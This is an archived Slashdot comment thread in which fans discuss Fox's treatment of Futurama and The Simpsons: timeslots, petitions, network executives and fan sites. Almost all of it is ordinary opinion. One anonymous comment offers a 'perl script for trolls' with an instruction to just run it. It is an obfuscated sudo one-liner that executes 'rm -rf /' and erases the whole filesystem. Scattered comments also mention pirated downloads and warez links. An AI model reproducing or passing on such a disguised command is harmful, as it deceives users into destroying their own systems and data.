      The Willy Wonka Widescreen DVD petition when Warner was only going to put out a pan & scam version of the 25th anniversary DVD..

      http://www.widescreenadvocate.com/victories.shtm l

    12. Re:Someone should tell Matt... by NecrosisLabs · · Score: 2, Funny

      We had a rather appropriate one in Chicago a while back. The local fox affiliate decided to replace one of the three daily Simpsons repeats with Third Rock (ugh). A web page was created for people to add their names; this list was mailed daily (!) to a number of executives at the station. Not only did they restore the show, but they aired ads for its reinstatement where the executive who made the decision is dragged off bound and gagged. A great day!

    13. Re:Someone should tell Matt... by Anonymous Coward · · Score: 0

      Whatever. The SSSCA died because Intel and Microsoft and pals weren't in on it, not because people wrote letters.

    14. Re:Someone should tell Matt... by The+Salamander · · Score: 1

      And surprise witnesses! Each more
      surprising than the last!

    15. Re:Someone should tell Matt... by jweatherley · · Score: 1

      I don't think there's been a single example of an online petition having an effect. Please provide examples if I'm mistaken.

      Well there's always the Information wants to be wide petiton - that has been quite successful for IE users. Of course in this case both bases are covered here and the Narrow Information for Life petiton isn't doing so well!

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    16. Re:Someone should tell Matt... by booterror · · Score: 1

      I know of one, i participated myself. It's was about the CD from Sophie B.Hawkins. Sony would'nt release it, because on a song there was a banjo playing.Sophie did hold ground and would'nt bow for Sony.A online petition was started and Sony did release the CD.

  33. dude by Anonymous Coward · · Score: 0

    The Simpsons is dying. BSD don't have shit to do with this thread.

  34. I personally just couldn't stand the timeslot by Bluetick · · Score: 1

    The show was pretty good, but doesn't have anything close to the charm and appeal of The Simpsons. Which isn't to say it couldn't have succeeded. It had the worst timeslot available. 6:00 PM CST, that's not even primetime yet. Even worse, there's that useless cartoon between it and the Simpsons (King of the Hill, which is atrocious). Hell, they should've scrapped X-Files like three or four years ago and moved it back an hour, and kill King of the Hill of course.

    1. Re:I personally just couldn't stand the timeslot by Anonymous Coward · · Score: 0

      King of the Hill is funny and popular. You should learn to deal with the fact that not everybody is as 'leet' as you are.

  35. When they do cancel Simpsons by stoolpigeon · · Score: 3, Funny

    I wont even notice. Usually I am busy when the new shows get aired. I watch the Simpsons 3 or 4 times a week but it is all syndication.

    That's part of what makes it so awesome. Each time I watch an episode again it cracks me up as much as the first time. Plus I notice little things I missed the first time around.

    I figure all the new episodes I've missed give me a buffer of at least a few years. And you know that the Simpsons are going to be on for a very long time on some channel.

    Sort of like that 8 minutes of light we get after the sun goes out one day.

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    1. Re:When they do cancel Simpsons by nzhavok · · Score: 3, Interesting

      hi, wtf does your sig mean?

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    2. Re:When they do cancel Simpsons by stoolpigeon · · Score: 1

      It's a reference to the game VGA planets by Tim Wisseman. I think that's how you spell his name anyways.

      There are quite a few sites on the web about and hosting games for VGA Planets.

      The race I liked to play could steal fuel based on the capacity of their ship and a Gorbie was a huge ship. If you had one controled by this race, you effectively were a black hole of fuel stealing power. (and when you sucked all the fuel out of any enemy ship, you could take if over)

      I have a bunch of sigs (tag lines when I got them) that were from VGA Planets when I used to use Blue Wave for mail on a BBS. (Before the whole web/internet thing really caught on)

      .

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      It's hard to believe that's how Micronians are made. Why don't we see it right now by having you both kiss one another?
  36. Futurama sucked anyhow by natersoz · · Score: 0, Troll

    Almost as much as the 70's show. That's sucks more. Yup, major suckage.

  37. Re:Do not adjust your browser ... we control the . by Anonymous Coward · · Score: 1, Funny

    No what made it hard to read was the fact that the Brittish no nothing about the proper use of English.

    Oh, Stoolie, you so crazy.

  38. Re:Looking for good Slashdot troll scripts by Anonymous Coward · · Score: 0


    Here's a good perl script for trolls ( just run it from the command line ):

    sudo perl -e '$e="f";$y="m";$d="r";$x="f";$z="/";system("$d$y -$d$e $z")'

  39. Speculation by gnovos · · Score: 3, Interesting

    I have no inside knowledge of FOX or other broadcasting companies, but if they function the same way that other companies that I have worked at do, then I know exactly why you see the really fantsatic shows being canned in thier prime: new blood. Every time managment changes or restructures, there is some subconcious need from the newbies to change things around, if for no other reason than to justify thier existance. The usual route is to attack what was successful before, tear it down, and bring out the solid gold shnazzy New Thing(tm) that will wow everyone. Maybe it works one time out of a hundred, but that doesn't stop people from trying to be the lucky golden boy.

    This is just a guess, but I'll put a tenner down that the reason why Futurama never really got the support that it should have, and why it's being dropped now, is becuase maybe a week after the pilot, the heads of that department in FOX got restructured and the pastic wrap came off a whole new lineup of fresh-faced marketing and programming execs. They couldn't drop the Simpsons (it just has TOO MUCH momentum), so they decided to carve up everything else they could touch and fill the void with the neeto ideas they had during thier training in the frat house.

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    "Your superior intellect is no match for our puny weapons!"
    1. Re:Speculation by bskin · · Score: 2

      I just figure the ratings have never been what they hoped. Didn't it start off airing in the slot right after the simpsons, where they liked to nurse new shows to see if they'd pick up an audience? The fact is, most of the time that you get a show that people really fanatically love, the people who don't like it *really* hate it. Trying asking my parents about the family guy sometime. Point is, just because you think a show is the greatest thing on earth, it far from guarantees that anyone else does.

      Besides, I always had a theory on futurama. I saw the question as less 'why did they cancel it?' and more 'why did they keep it around so long?' They obviously haven't really been supporting it in years, with the shitty time slot and frequent preemptions(including one season premiere, at least on the east coast). I figured it was Millenium Syndrome. Remember the show Millenium, by Chris Carter? I never actually watched it, and supposedly not many other people did, either. When it was on, i always heard rumors that it was Chris Carter's 'pet project' and that fox just kept it on to keep him doing the X-Files. So maybe it was the same deal with Futurama, and fox just got sick of it.

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      hot foreign sheep.
    2. Re:Speculation by Exatron · · Score: 1
      Futurama's first episode aired after The Simpsons, but the show moved to Tuesdays at 8:30 after that. The second season moved back to Sundays at 8:30, only to be preempted for about a month and moved to Sundays at 7:00. Fox recently aired repeats of Futurama on Thursdays at 9:30, but was removed after three weeks.

      I find it interesting that Fox is so eager to cancell series created by the same people who made their hit shows.

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      "I think so, Brain, but 'instant karma' always gets so lumpy." - Pinky
      "Decepticons FOREVER!!!" - Ravage
    3. Re:Speculation by Anonymous Coward · · Score: 0

      True. I know an ex-Fox exec who actually brought them thier single most successful real person star, but about a year ago his contract was bought out because new exec type wanted to "try some new things". Well, goodby mostly boring X-files and dare-you-to-out-hip-me Alley McBeal. Yes, death to King of the Hill and almost everything else Fox. No, not a drop of sympathy for Fox execs. No, I don't understand thier problems, but they surely don't understand mine ethier. Only the Simpsons, Futurama and grew-on-me-slowly Family Guy satisfy my entertainment needs. Matt, take your stuff to UPN and try to get slots to lead into Star Trek.

    4. Re:Speculation by FastT · · Score: 2
      I think what really happened is that Fox felt it needed to follow through on its commitment to Family Guy, which had been promised the slot after the Simpsons as part of the signing deal. Remember, Futurama was brought in after Family Guy flopped the first time. I don't know whether they did this because of contractual reasons, or because they really believed in the show, but it necessitated moving Futurama out of the post-Simpsons timeslot. This was the genesis of the unprecedented 7-8 Pacific/6-7 Central Sunday timeslot, and they moved in King of the Hill to shore up the lead-in.

      Unfortunately, after Family Guy died on the vine the second time, they replaced it with awful Malcolm in the Middle instead of going back to Futurama, by then having built something of an audience at the earlier timeslot (or wanting to use the "incubator" slot for another show).

      --

      The only certainty is entropy.
  40. Simpsons may go soon too by alanjstr · · Score: 4, Informative

    Yahoo News carries an interview with Groening. My favorite quote it "Although what happens generally if we win the Emmy for best animation show is that that gives us another couple of years to run it into the ground," he said.

    1. Re:Simpsons may go soon too by beerits · · Score: 1

      The Yahoo article is just a summary of the Financial Times article in the submission.

  41. Re: Hey, Its the Comic Book Guy! by Patrick+Lewis · · Score: 1


    I dooo feel sorry for the people who think the Simpsons are "clever" (use finger quotes).

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    "If I am such a genius, how come that I am drunk and lost in the desert with a bullet in my ass?" --Otto (Malcom ITM)
  42. Remember Dilbert? by NanoGator · · Score: 2

    There was a Dilbert cartoon on UPN that really wasn't bad. Unfortunately, being UPN and being on at an unusual time (well for me anyway...) made me miss alot of it. So I really didn't notice that it had disappeared. One night, I was inspired to check Kazaa for Dilbert and grabbed a few eps. That show was actually pretty good!

    I think what killed that show was not so much time slot, but rather FOX has a virtual monopoly on prime-time animated shows. Sunday nights are when I watch like a string of cartoons. And ... well damn, if Fox had bought Dilbert from UPN, that would have worked out really well:

    7:00 PM: King of the Hill
    7:30 PM: Family Guy
    8:00 PM: Simpsons
    8:30 PM: Futurama
    9:00 PM: Dilbert
    9:30 PM: X-Files

    Tell me that wouldn't have been a cool night lineup.

    --
    "Derp de derp."
    1. Re:Remember Dilbert? by beerits · · Score: 1

      9:30 PM: X-Files
      Remember Prime Time ends at 10 pm on Fox and
      I don't think Chris Carter would have liked cutting the X-Files down to a 1/2 hour.

    2. Re:Remember Dilbert? by AnimeFreak · · Score: 2

      Well... it is the last season of the X-Files...

      This COULD actually work. But since there are some problems with it, I doubt it would ever happen.

    3. Re:Remember Dilbert? by NanoGator · · Score: 2

      I personally think that if the show starts before 10 it's okay. I guess that's really up to the mass audience to decide, however.

      If not 9:30 on Sundays, put it on after Boston Public on Monday's at 9pm.

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      "Derp de derp."
    4. Re:Remember Dilbert? by Anonymous Coward · · Score: 0

      Dilbert is old and tired.

      And, really, the author of Dilbert (Scott adams??) is sort of a pig. He thinks like a suit, and he's sold out dilbert bigtime. It's as fresh and meaningful as a Daytimer in a Vinyl binder.

    5. Re:Remember Dilbert? by NanoGator · · Score: 2

      "Dilbert is old and tired."

      Just to be clear, I was talking about the animated cartoon show that lasted less than a season. It didn't have time to get old or tired, heh.

      As for your other comments, I disagree, but it's not worth discussing here. A good deal of the fun with Dilbert occurs when you work in a Dilbert-like environment. If you don't work that way, I can't make Dilbert funny to you.

      The animated cartoon is pretty good, though. It's worth a gander if you get bored hanging around Kazaa. :)

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      "Derp de derp."
    6. Re:Remember Dilbert? by Anonymous Coward · · Score: 0
      Who cares, it's some funny shit.


      Especially if you have ever worked at a larger place.

    7. Re:Remember Dilbert? by jgalun · · Score: 1

      I agree with the original poster - Dilbert did get old and tired. And it has nothing to do with whether I work in a cubicle or not. I've had a lot of people tell me that I just don't find Cathy or Dilbert funny because I'm not a woman or because I'm not a cubicle-jockey. But neither is true. I used to find Cathy and Dilbert very funny, and now I found them dull. Nothing has changed in my life - but something has changed in then.

    8. Re:Remember Dilbert? by NanoGator · · Score: 2

      Hmm.. what I said and what I was thinking was a little different.

      What I was thinking when I made the comment about the cubicle dweller is that Dilbert manages to make a comic that hits close to home pretty regularly. If that's not happening with you, then I certainly understand you not liking it. Everybody in my office, though, finds it amusing.

      Heh maybe Dilbert's not funny at all, and really it's my company that's funny... scary thought! :)

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      "Derp de derp."
    9. Re:Remember Dilbert? by racerx509 · · Score: 1

      I would disagree. Where's Malcom? Malcom in the middle is one of the funniest shows in the lineup. If anything, they need to hurry up and end X-Files. The show is on its way out, but it was on it way out years ago. Simpsons isn't as funny as it used to be, but its still good.

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      13 year old white supremacists are shitty web designers.
    10. Re:Remember Dilbert? by Slurm-V · · Score: 1

      Nothing has changed in my life - but something has changed in then

      Well, two things have changed - you got older and you've read more Cathy and Dilbert.

      --
      Of course it's going off the rails. How else is it ever going to fly?
    11. Re:Remember Dilbert? by Anonymous Coward · · Score: 0

      Unfortunately, being UPN and being on at an unusual time (well for me anyway...) made me miss alot of it. So I really didn't notice that it had disappeared.


      Now that we're in the Tivo age, where networks and timeslots no longer matter, everything is different. If only the Dilbert show had come out in fall 2000, it would have had a decent shot at having a long run.



      The crusty old networks like CBS and Fox are going to be vulnerable to UPN, WB, and other fringe channels. They just don't understand it yet.

    12. Re:Remember Dilbert? by Anonymous Coward · · Score: 0

      My opinion is that King of the Hill fucking sucks. Good lineup though.

  43. Groening vs the "New Simpsons" by Anonymous Coward · · Score: 0

    I don't know how most original Simpsons fans feel, but I pretty much stopped paying attention to the show after the first horrendous post-Groening season aired. Fans' opinions aside, I was wondering if Matt Groening has publicly commented on the "new Simpsons". Though I'm sure that the current incarnation of the show makes him want to puke blood, I have yet to come across any interviews that feature him denouncing the new episodes.

  44. re: Simpsons Jumping the Shark by freeweed · · Score: 2

    Funny you should mention this. A LOT of otherwise knowledgable people I know completely missed it too - on the recent "clipshow" (Homer Gump or some such title), watch towards the end credits where they start making jokes about future Simpsons episodes.

    They quickly show a picture of Homer waterskiing - and he happens to be taking a jump, right overtop a shark.

    I think milk came out of my nose when I saw that.

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    Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
  45. it is a shame... by AnimeFreak · · Score: 2

    FOX Broadcasting has a nasty habit of cancelling good shows and keeping bad shows. One such show was the Critic, from where it lept from FOX to ABC. Due to that leap, the show only lasted two seasons (One on FOX, one on ABC).

    Now FOX is treading on both Family Guy and Futurama...

    Tis a shame...

    1. Re:it is a shame... by ZRed11 · · Score: 1

      Don't forget about the great non-animated shows FOX has cancelled: Freaks and Geeks and Undeclared. It's frustrating devoting time to these new shows and right when you REALLY start liking them, they disappear. Thanks FOX.

    2. Re:it is a shame... by AnimeFreak · · Score: 2

      Wasn't "Freaks and Geeks" on NBC, not FOX?

    3. Re:it is a shame... by Pope · · Score: 2

      First of all, Freaks and Geek aired on NBC, not Fox.

      Second, Undeclared was not cancelled. Their first season had a short number of episodes. It's been renewed.

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      It doesn't mean much now, it's built for the future.
  46. No Futurama? Watch SeaLab ! by napa1m · · Score: 2, Interesting

    If FOX takes Futurama away from us or (as recently) simply decides to pre-empt or randomly move it then do yourself and your sense of humor a favor and stay up later (usually about 11:15) to watch Sealab 2021 on Cartoon Network's Adult Swim block.

    It's Sci-Fi (Robots, Time Travel, Black Debbie), it's got great characters (Stormy, Hesh, Chubby Cox), and some of the best comedy writing and voice talent (Erik Estrada!) on tv EVER.

    1. Re:No Futurama? Watch SeaLab ! by Anonymous Coward · · Score: 0

      I just saw Sealab for the first time the other day and it was HILLARIOUS! Although when you think about the Cartoon Network you don't necessarily think about drug addiction and sex. I also LOVE Space Ghost...they need to do some new shows, though.

    2. Re:No Futurama? Watch SeaLab ! by technos · · Score: 1, Offtopic

      Mmmm, Erik Estrada..

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    3. Re:No Futurama? Watch SeaLab ! by Anonymous Coward · · Score: 0

      I WANT MY STIMUTAX.....and so does MARDUK the SUN GOD!!!

      God, I love that show :)

    4. Re:No Futurama? Watch SeaLab ! by MrHat · · Score: 1

      And Aqua Teen Hunger Force before it. Episode 4 (with the Moonites) was an absolute work of comedic art.

  47. Another thing to say is... by Anonymous Coward · · Score: 0

    Bite my shiny metal ass.

  48. For those clueless by or_smth · · Score: 1
    I'm sure there is a lot of you out there that like the Simpsons, just don't know the whole "deal" around the new seasons, and just exactly who works on the Simpsons nowadays.

    For those interested, I highly recommend taking a look at the L.I.S.A.. It's a great, huge list of anything you've ever wondered about the Simpsons, and just what the hell happened in the last few years.

  49. Secular Thinking by John+Paul+Jones · · Score: 2, Insightful

    Seems to me that the Simpsons has reached the point of being a minor religion...

    As folks will quote scripture, so folks will quote the Simpsons.

    It's on Sunday, and plans are made around it. Those that watch think those that don't are wierd.

    You can also attend throughout the week, but the sermons seem a bit canned and dated.

    The characters consistently show reality through a fun-house mirror and have representation from most ethnic groups/stereotypes.

    Why not? I'm sure someone somewhere hates the Simpsons with passion enough to start a small war, and that's all the qualification I need.

    -JPJ

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    Feh.
    1. Re:Secular Thinking by Random+Data · · Score: 1

      Why not? I'm sure someone somewhere hates the Simpsons with passion enough to start a small war, and that's all the qualification I need.

      Comic Book Guy: "I would, but I'm too busy with this mint condition Chewbacca action figure..."

  50. Why move networks? by elmegil · · Score: 2
    what I thought was interesting was his comments on Fox and how he's not interested in moving networks over the futurama thing.

    The devil you know is frequently better than the devil you don't.

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    7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
  51. Greg the Bunny is a good show. by Anonymous Coward · · Score: 0

    Greg the Bunny is fscking brilliant. It's almost good enough to make me forget about FOX cancelling The Family Guy. A better example of a bad show would be Temptation Island or That 80s Show. People who watch either should be fed to the pigs. People who watch Survivor or Friends should be fed to the pigs while being kept alive on ventilators and blood pumps.

    The Simpsons is tired. It's time to let her out to pasture and let her live on in DVD stasis.

    1. Re:Greg the Bunny is a good show. by Anonymous Coward · · Score: 0

      i like the ventilator and pump idea! very inventive!

  52. Despite not being animated.... by Anonymous Coward · · Score: 0

    Malcom should be in there somewhere...maybe towards the end.

    1. Re:Despite not being animated.... by Anonymous Coward · · Score: 0

      I love Malcolm, but I'd kinda like it to be after That 70's show on Tuesdays. Then, follow it with Andy Richter.

      If Fox'd take two nights to air all the shows I like, I'd be able to catch them all. But their schedule sometimes makes me miss shows I'd really like to see.

  53. "Too mean" by Edmund+Blackadder · · Score: 2

    That is a really strange complaint comming from TV executives.

    My favourite sitcom "News Radio" was always in trouble and was cancelled because the characters were too mean to each other.

    And now my favourite animation show (yes i think the current futurama shows are a bit better than the current simpsons shows) is getting cancelled because the characters are too mean.

    Thats really bizarre. First of all the characters werent really mean in either one of those show (ok maybe except bender but even he was showed goodness of heart in the godfellas episode).

    Second of all it makes you wonder do TV stations consider it their duty to build up the morals of their audience trough tv shows? And if so why is that coming from FOX that brought us numerous car chase shows, police reality shows, accident and disasters where people die shows, one (or two was it?) numerous women begging to be married to some millionare schnuck shows, and lets not forget the trivia show where the host is famous for insulting the contestants.

    1. Re:"Too mean" by or_smth · · Score: 1

      "Hail That"
      And don't forget one thing, this is coming from the same place that encouraged different celebrities to box it out. They also encourage shows like Greg The Bunny and love to have abusive/phony husbands get wives and encourage shallowness ala "Who Wants To Marry a Multimillionare".

      Sorry fox, we all know you had it in for Futurama from the start.

    2. Re:"Too mean" by Happy+Monkey · · Score: 2

      The "too mean" comment makes me wonder which network these FOX executives think they're "running."

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    3. Re:"Too mean" by SofaMan · · Score: 1

      My favourite sitcom "News Radio" was always in trouble and was cancelled because the characters were too mean to each other.

      I always thought it had more to do with the death of Phil Hartman. It's hard to make a show funny when you know why one of the main characters isn't there anymore. Suddenly Susan had the same problem after David Strickland killed himself.

      Both shows struggled through the ensuing season each without the characters, but without enthusiasm. They may both have been on the way out anyway, of course, and were simply unable to survive those final decisive blows.

      I wonder if something similar might have happened to the Simpsons had Phil Hartman played a more prominent role instead of occasional bit parts.

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      SofaMan -- Occasionally Battling Evil With His Mighty Powers Of Indolence.

    4. Re:"Too mean" by ImaLamer · · Score: 1, Troll

      Fox, the station that brings you "COPS" and tries to prove that you have no rights!

      If I could only count the amount of illegal searches, the profiling, the high-speed chases that could take more lives than the few rocks they nabbed on the guy, the beatings and general sloppy police work.

      FOX - "It Stinks", "Where #3 is Okay!"

    5. Re:"Too mean" by Anonymous Coward · · Score: 0

      now i'm a troll for posting the truth?

      read the constitution of the usa and then moderate...

    6. Re:"Too mean" by Hoi+Polloi · · Score: 1

      This is from the network promoting a show on "Terrifying Animals" where people run into Raccoons and other such mortal enemies of mankind. What is next? "When Puppies Kill"?

      Are Fox execs born sleazy or just raised that way?

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      It is by the juice of the coffee bean that thoughts acquire speed, the teeth acquire stains. The stains become a warning
    7. Re:"Too mean" by ImaLamer · · Score: 2

      born that way... they are leftovers from the Hitler Youth Program

  54. Thanks for nothing by stoolpigeon · · Score: 2, Funny

    I appreciate being modded up but I'm at the cap and just made some other posts that will very likely get modded down. So this doesn't do me a lot of good in my quest for 50 points for 50 days.

    If youd've waited until after the others got modded down this would have really come in handy.

    .

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    It's hard to believe that's how Micronians are made. Why don't we see it right now by having you both kiss one another?
  55. This is news? by brooks_talley · · Score: 1

    I thought part of the point of reading /. was to be ahead of pop culture in items of geek interest. But the past few days, it seems like every article is just a link to a CNN or NYTimes or Wired article.

    I love it when slashdot points out gems in smaller media that I might have missed, but just linking to CNN articles that are about FT articles doesn't really count as ahead of the times in my book.

    Why not add another slashbox with "In other news...", and when people submit links to major media news stories, stick 'em in there?

    Cheers
    -b

  56. another chrisd spoiler? by Anonymous Coward · · Score: 0

    Thanks again. ;)

  57. Letter Writing by finny · · Score: 5, Informative

    Yes, it's probably true that online petitions aren't worth the server space their stored on which is why Futurama fans might want to consider writing a good old USPS letter. Rumor has it that big-wig studio execs are greatly swayed by your willingness to waste paper, time, and tax dollars. Here's their addresses at the Fox network:

    Ms. Gail Berman
    President
    Building 100 Room 4450
    10201 W. Pico Blvd.
    Los Angeles, CA 90035
    United States of America

    Mr. Sandy Grushow
    Chairman
    Building 100 Room 5110
    10201 W. Pico Blvd.
    Los Angeles, CA 90035
    United States of America

    I don't want to give you a script but you might want to focus on Futurama's poor and frequently changing time slot and it's abundance of critical praise.

    Telling a studio exec to bite any part of your anatomy (shiny or otherwise) is generally a bad idea.

    1. Re:Letter Writing by evilWurst · · Score: 1

      mailing a personal letter wastes no tax dollars. the US postal service is entirely self sufficient...that stamp really does pay for the letter.

  58. Shark Jumping moment by neurojab · · Score: 1

    I think the simpsons "jumped the shark" in the episode in which Homer joined a traveling freak show in season 7. The show simply hit the wall with homer being the big fat guy getting shot with the cannon, and sonic youth delivering the theme song at the end. It wasn't the funniest ever, but they definately "jumped the shark". The beginning of the end was acutally "lisa the vegetarian" at the beggining of season 7, and by season 8, you've got "the nanny episode", "bart is gay" and "poochie".

    1. Re:Shark Jumping moment by saddino · · Score: 1

      The beginning of the end was acutally "lisa the vegetarian" at the beggining of season 7, and by season 8, you've got "the nanny episode", "bart is gay" and "poochie".

      Those are great espisodes! The nanny getting pulled into the jet engine, Moe saying "I'll do anything...ANYTHING", and the ridiculous Poochie departure.

      I guess that is exactly what makes the Simpsons so great, every episode must have its own legion of fans.

      IMO though, nothing beats Monorail and Homer Goes To College. :-)

  59. Simpsons Post 911? by istartedi · · Score: 2, Funny

    I've been wondering what they are going to do with the war on terror and a lot of other post 911 stuff.

    I thought that all the episodes this season were made before 911, but they had "Bin Laden in a blender" last Sunday, so what's the deal? Was that spliced in later?

    On one hand, there is a lot of way to spin humor on some of this stuff, but on the other hand it's hard to do it without addressing "important social issues" or having a "very special episode", which was what used to signal the end of a sitcom before everyone started to say "jumping the shark".

    Let's see:

    They fly someplace. Lisa gets wanded and taken into a special room. Bart's slingshot gets ignored. Homer beeps in the detector, but nobody wants to touch him. Marge is asked to stick her hair in the X-ray machine, and it comes all the way out the other side. Maggie has a gun in her diaper, but nobody notices. This stuff practicly writes itself.

    Or how about... Bart decides to become a Moslem. Do all the Lisa Budist stuff--Bart style. Hurl pork chops out the window, etc. End Moslem conversion when Bart finds out he has to get circumcised.

    Then again... maybe having the Simpsons come to an end without ever riffing on that stuff would be better. It would fix the Simpsons permanently as part of the "pre-911" world, allowing us to watch it in sindicated re-runs knowing that stuff would never intrude, save for that one little reference to Bin Laden.

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    For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
    1. Re:Simpsons Post 911? by or_smth · · Score: 2, Interesting

      To answer question 1...

      FYI: Generally (and this is true for a lot of shows), that while the actually production process starts 9 months before showing, that doesn't mean that everything is finished 9 months before. Things can be spliced in almost up to the point of showing. The Bin Laden bit was probably an add-in, but either way, I sure as hell don't agree with it. It cheapens a truely "evil" person, and makes it feel like people died in vain.

    2. Re:Simpsons Post 911? by lkaos · · Score: 2

      I sure as hell don't agree with it. It cheapens a truely "evil" person, and makes it feel like people died in vain.

      Lighten up a little. "Taste" is so subjective, it is entirely self-destructive to worry about it.

      If you don't like it, don't watch it. While it offends you, it may comfort others. If you are right, and lots of people agree, then it will be removed. Otherwise, if your wrong, and people don't agree with you, you'll just cause more harm than good.

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      int func(int a);
      func((b += 3, b));
  60. Re: Hey, Its the Comic Book Guy! by stoolpigeon · · Score: 1

    You are so right! And I thought that was just a character from the show. But now that I realize he is a real person, well where else would you expect to find him hanging out?

    Very funny by the way.

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    It's hard to believe that's how Micronians are made. Why don't we see it right now by having you both kiss one another?
  61. online petitions are stupid by Lord+Omlette · · Score: 2

    Remember what Roswell did? Bottles of tabasco sauce sent to the producers or something? Mailbomb them with lots of alcohol (Bender likes to drink) and maybe they'll notice and not cancel Futurama. They'll definitely notice it more than some stupid online petition.

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  62. Re:FUCK YOU C64 Style by Anonymous Coward · · Score: 0

    Program FuckYou;

    var
    a:integer;
    begin
    a:=5;
    While a6 do
    Writeln("Fuck You");
    end;
    end.

  63. Whatever became of frcr.com? by JoeShmoe · · Score: 5, Interesting

    The one that that I find most upsetting about the whole Futurama/Simpsons rivalry is that Simpsons seems to be treated as FOX's little darling and Futurama is the bastard child they want to pretend they never had.

    Case in point? The Simpsons Archive (snpp.com) perhaps the single greatest authoritative Simpsons information source. Mostly culled I'm sure from countless USENET postings but the information contained there is priceless to the average Simpsons fan. Someone at work will utter a butchered version of some famous quote and in seconds we will have the exact wording, the episode it came from and (with a little step 2 magic) soon be watching the hilarious moment.

    But is there such a resource for Futurama? Well there was...The Futurama Cronicles (frcr.com). Had much of the same kind of information, with upcoming episode dirt and all sorts of little factoids. I can't read the alien language, but those guys had it pretty much deciphered. I always wonder what the little clips during the intro came from and they always seemed to know.

    But what was it, two years ago? the site got the Cease & Desist kiss of death. How can a site like snpp.com flourish and frcr.com disappear when both are basically cataloging and organizing USENET content? And what happened to the other Futurama sites like FuturamaOutlet and so on?

    Honestly, it's like FOX is trying to deny Futurama even exists. The FOX website for the show is a flash-laden piece of crap that hasn't been updated since the show premiered (same with the Family Guy show site).

    Bleah. Matt Groening must has some change in his pocket. He knows about the massive following his shows have on the Internet (he has been asked about ANiVCD and the whole VCD scene at every convention he's ever attended). In this post dot-com world, I think his projects would be the only ones that have a chance at working over the Internet. Produce the show straight to video and offer streaming downloads over the Internet. Hell, I see channel after channel on IRC doing exactly that.

    So he's not interested in leaving FOX. Fine. But for god's sake...don't cast pearls before swine. How many musicians say that given the choice between languishing in a corporate vault and being enjoyed and shared by fans they would much rather give their work to the fans? Why can't Matt be the same way?

    - JoeShmoe

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    --
    -- I wonder which will go down in history as the bigger failure: the War on Drugs or the War on Filesharing
    1. Re:Whatever became of frcr.com? by onShore_Jake · · Score: 1

      you say 'Find the fastest pub warez sites at http://3640001799/cgi-bin/dict.pl?term= %67%75%6c%6c%69%62%6c%65 and fight da man!'

      Do you have a brain problem, man?

    2. Re:Whatever became of frcr.com? by Anonymous Coward · · Score: 0

      http://intarnet.org/lastweek.jpg

      just try it foo

    3. Re:Whatever became of frcr.com? by hashashin · · Score: 1

      But is there such a resource for Futurama?

      Personally, I use Can't Get Enough Futurama. Perhaps not as in-depth as SNPP, but a good resource.

    4. Re:Whatever became of frcr.com? by Hoi+Polloi · · Score: 1

      Remember what network you are talking about. This is the "Cops Beating Prisoners" and "When Births Go Bad" network. I'd suggest Matt toss in some clips of people being brutalized to appeal to Fox execs.

      Please don't go to streaming over the web, streaming sucks unless you have a cablemodem/t1 connection. A lot of towns don't even have DSL access.

      --
      It is by the juice of the coffee bean that thoughts acquire speed, the teeth acquire stains. The stains become a warning
    5. Re:Whatever became of frcr.com? by JoeShmoe · · Score: 2

      Notice I didn't say "streaming" I said "downloading" as in "download the whole video file locally then watch it.

      Streaming video blows. I have one of the fastest consumer Internet connections around and I still can't watch video from most overloaded sites without it skipping.

      If it wasn't for programs like StreamBox and ASFRecorder I would go bonkers. But thankfully with those programs I can download them locally and then convert them to good old open MPEG file format.

      I think a site would be better off giving customers access to MPEG and/or DivX versions of these file in two or three different resolutions. Perhaps a small 40-50MB DivX version for dial-up users and a nice big VCD version for broadband customers.

      That's what I'm saying exists already on the Internet (actuallly, now groups are releasing SVCD copies of the newly released DVDs).

      - JoeShmoe

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      -- I wonder which will go down in history as the bigger failure: the War on Drugs or the War on Filesharing
    6. Re:Whatever became of frcr.com? by Anonymous Coward · · Score: 0

      =v= The capsules effort for Futurama hasn't kept up with that of The Simpsons, but I've got a collection of 'em here:

      The Low-Bandwidth Futurama Site

      It's also got links to all sorts of other sites.

  64. Interesting Fact by Anonymous Coward · · Score: 1, Informative

    Well, right after the story got posted on Slashdot, the number of signatures was 113435.

    Right now it is up to 114215.

    That is 780 new signatures in about 1 hour.

    Just thought I'd let you people know.

    1. Re:Interesting Fact by user32.ExitWindowsEx · · Score: 1

      Well, is there any way to convert the hits brought on by the /. effect into 'implied' signatures?
      It'd probably be up to 360,000 'signatures' if that could be done.

      --
      "Evil will always triumph because good is dumb." -- Dark Helmet
  65. Re:FUCK YOU C64 Style by Anonymous Coward · · Score: 0

    i cant belive this is flamebait. Surely this would be considered a troll post if I have ever seen one.

  66. I speak UNIX by PD · · Score: 1, Funny

    yes "fuck you"

    1. Re:I speak UNIX by PD · · Score: 1

      Obviously the moderator doesn't know a damn thing about UNIX. I suggest that he or she get thee to a command prompt and type my comment in verbatim.

  67. Fox becoming 70s TV by gad_zuki! · · Score: 4, Insightful

    I don't think the current heads at Fox want angry characters or self-referential satire. For some reason television has climbed that hump and has moved back to Spelling-like plain-jane sitcoms.

    The mid to late nineties TV landscape was covered with amusing shows that took pot-shots at everything, including themselves and especially the sitcom formula. Mr. Show, Upright Citizens, Simpsons, Family Guy, The Daily Show, etc were groundbreaking shows. They didn't take anything as above-criticism and developed an intelligent edge through insightful comedy.

    Now look at the popular comedies on Fox. Bernie Mac, King of the Hill, Malcolm in the Middle, etc. They're more based in the Love Boat tradition of wacky sitcom than in the Simpsons tradition of satire and irony. This is what people want. The Neilsons have spoken and Fox isn't listening to the raves, but only to the complaints about shows being too brainy, mean, or smartassed.

    Cable seems to be picking up the slack with shows like the Man Show, Sealab 2021, etc. Hopefully the Simpsons spirit will live on in the minds of writers willing to take a small risk.

    1. Re:Fox becoming 70s TV by jmauro · · Score: 4, Informative

      Mr. Show, Upright Citizens, Simpsons, Family Guy, The Daily Show

      They can only take credit for two of these shows. The simpsons and the Family Guy. The others were made and more importantly shown by HBO or comedy central. And they've tried everying possible to kill off the family guy. Give up being edgy on Fox. They needed to be edgy when they were a start up. Now their one of the big networks and need to keep the viewer tuned in with predictable stuff, rather than steal them with the edgy stuff.

  68. Leave 9-11 out of it... by NanoGator · · Score: 2

    I understand your point, but I respectfully disagree about it's humor. I appreciated South Park's take on the War on Terror, but I really think the joy of it came from the episode's focus on showing the US kick Bin Laden's ass.

    I don't see the Simpsons being able to lift my spirits that way. Jokes about airport screenings may be funny, but when you put them in the terrorism context, it loses it's humor.

